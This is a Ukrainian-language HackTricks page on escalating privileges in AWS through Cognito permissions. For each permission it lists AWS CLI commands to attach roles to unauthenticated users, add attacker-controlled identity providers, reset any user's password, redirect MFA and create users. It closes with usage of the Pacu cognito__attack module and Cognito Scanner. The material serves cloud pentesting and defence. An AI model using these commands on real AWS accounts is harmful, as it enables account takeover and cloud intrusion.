AWS - Cognito Privesc

Reading time: 12 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cognito

Детальніше про Cognito див.:

AWS - Cognito Enum

Збір облікових даних з Identity Pool

Оскільки Cognito може надавати IAM role credentials як авторизованим, так і неавторизованим користувачам, якщо ви знайдете Identity Pool ID додатку (зазвичай він захардкожений у ньому), ви можете отримати нові облікові дані і таким чином privesc (в межах AWS аккаунта, де у вас, ймовірно, раніше взагалі не було жодних облікових даних).

Для додаткової інформації перегляньте цю сторінку.

Потенційний вплив: Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, прикріпленої до авторизованих користувачів).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

З цим дозволом ви можете надати будь-яку cognito роль авторизованим/неавторизованим користувачам cognito app.

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Якщо cognito app не має увімкненої опції unauthenticated users, вам також може знадобитися дозвіл cognito-identity:UpdateIdentityPool, щоб її увімкнути.

Potential Impact: Прямий privesc до будь-якої ролі cognito.

cognito-identity:update-identity-pool

Зловмисник із цим дозволом може, наприклад, налаштувати під своїм контролем Cognito User Pool або будь-який інший identity provider, у який він може увійти як спосіб доступу до цього Cognito Identity Pool. Тоді просто увійшовши в того провайдера користувачів, він отримає доступ до налаштованої authenticated role в Identity Pool.

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Також можна зловживати цим дозволом, щоб дозволити basic auth:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Потенційний вплив: Компрометація налаштованої authenticated IAM role у identity pool.

cognito-idp:AdminAddUserToGroup

Цей дозвіл дозволяє add a Cognito user to a Cognito group, тому нападник може зловживати цим дозволом, щоб додати під своїм контролем користувача до інших груп з кращими привілеями або іншими IAM roles:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Можливий вплив: Privesc до інших Cognito груп та IAM ролей, прикріплених до User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Зловмисник з такими дозволами може створити/оновити групи з будь-якою IAM role, яку може використовувати скомпрометований Cognito Identity Provider, і зробити скомпрометованого користувача частиною групи, отримавши доступ до всіх цих ролей:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Потенційний вплив: Privesc до інших ролей Cognito IAM.

cognito-idp:AdminConfirmSignUp

Цей дозвіл дозволяє підтвердити реєстрацію. За замовчуванням у додатках Cognito будь-хто може зареєструватися; якщо це дозволено, користувач може створити обліковий запис із будь-якими даними й підтвердити його за допомогою цього дозволу.

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непряме privesc до identity pool IAM role для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме privesc до інших функціональностей додатку через можливість підтверджувати будь‑який акаунт.

cognito-idp:AdminCreateUser

Цей дозвіл дозволяє зловмиснику створити нового користувача в user pool. Новий користувач створюється в активному стані, але повинен буде змінити свій пароль.

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Потенційний вплив: Прямий privesc до identity pool IAM role для authenticated users. Побічний privesc до інших функцій додатку, що дозволяє створювати будь-якого користувача

cognito-idp:AdminEnableUser

Ці permissions можуть допомогти у дуже рідкісному сценарії, коли attacker знайшов credentials деактивованого користувача і йому потрібно заново активувати цього користувача.

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Потенційний вплив: Непрямий privesc до identity pool IAM role для authenticated users та отримання permissions користувача, якщо зловмисник мав облікові дані disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Цей дозвіл дозволяє увійти за допомогою method ADMIN_USER_PASSWORD_AUTH. Для додаткової інформації перейдіть за посиланням.

cognito-idp:AdminSetUserPassword

Цей дозвіл дозволяє зловмиснику змінити пароль будь-якого користувача, що дає змогу йому видавати себе за будь-якого користувача (якщо у нього не ввімкнено MFA).

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Потенційний вплив: Прямий privesc практично до будь-якого користувача, тож доступ до всіх груп, членом яких є кожен користувач, а також доступ до Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон, що перебуває під контролем зловмисника, як SMS MFA користувача.

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Подібно до попереднього, цей дозвіл можна використати для встановлення налаштувань MFA користувача, щоб обійти захист MFA.

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Схоже на попередній, цей дозвіл можна використати для налаштування MFA preferences у user pool, щоб bypass MFA protection.

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Також можливо оновити user pool, щоб змінити політику MFA. Check cli here.

Potential Impact: Indirect privesc до будь-якого користувача, чиї credentials відомі нападнику; це може дозволити обійти захист MFA.

cognito-idp:AdminUpdateUserAttributes

Нападник з цим дозволом може змінити email, номер телефону або будь-який інший атрибут користувача, що перебуває під його контролем, щоб спробувати отримати більше привілеїв у відповідному застосунку.
Це дозволяє змінити електронну адресу або номер телефону та позначити їх як підтверджені.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Потенційний вплив: Потенційне непряме privesc у базовому застосунку, який використовує Cognito User Pool і надає привілеї на основі атрибутів користувача.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Зловмисник з цим дозволом може створити новий User Pool Client з меншими обмеженнями, ніж існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати відключене відкликання токенів, дозволяти довший термін дії токенів...

Те саме можна зробити, якщо замість створення нового клієнта змінити існуючий.

У command line (або у update one) ви можете побачити всі опції, перевірте!

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potential Impact: Потенційний непрямий privesc для авторизованого користувача Identity Pool, що використовується User Pool — через створення нового client, який послаблює заходи безпеки й дозволяє attacker залогінитися під користувачем, якого він зміг створити.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Attacker може зловживати цим дозволом, щоб створювати користувачів, завантажуючи csv з новими користувачами.

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(У випадку створення нового import job вам може також знадобитися iam passrole permission, я цього ще не перевіряв).

Потенційний вплив: Прямий privesc до identity pool IAM role для авторизованих користувачів. Опосередкований privesc до інших функціональностей додатку, які можуть створювати будь-якого користувача.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Зловмисник може створити нового провайдера ідентичності, щоб потім мати змогу увійти через цього провайдера.

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: Прямий privesc до identity pool IAM role для authenticated users. Побічний privesc до інших функціональностей додатка, що дозволяє створювати будь-якого користувача.

cognito-sync:* Аналіз

This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the given permissions aren't super useful from an attackers perspective.

Цей дозвіл дозволяє читати інформацію про використання Identity Pools та Identity IDs всередині Identity Pools (що не є чутливою інформацією).
Identity IDs might have Datasets assigned to them, which are information of the sessions (AWS define it like a saved game). Можливо, це містить якийсь тип чутливої інформації (але ймовірність цього досить низька). Ви можете знайти на enumeration page, як отримати доступ до цієї інформації.

An attacker could also use these permissions to enroll himself to a Cognito stream that publish changes on these datasets or a lambda that triggers on cognito events. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.

Автоматичні інструменти

  • Pacu, the AWS exploitation framework, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують enumeration of all Cognito assets in an account та позначають слабкі конфігурації, user attributes used for access control тощо, а також автоматизують створення користувачів (включаючи MFA support) та privilege escalation на основі modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens тощо.

For a description of the modules' functions see part 2 of the blog post. For installation instructions see the main Pacu page.

Використання

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner — це CLI-утиліта на python, яка реалізує різні атаки на Cognito, включаючи privesc escalation.

Встановлення

bash
$ pip install cognito-scanner

Використання

bash
$ cognito-scanner --help

Для отримання додаткової інформації перегляньте https://github.com/padok-team/cognito-scanner

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks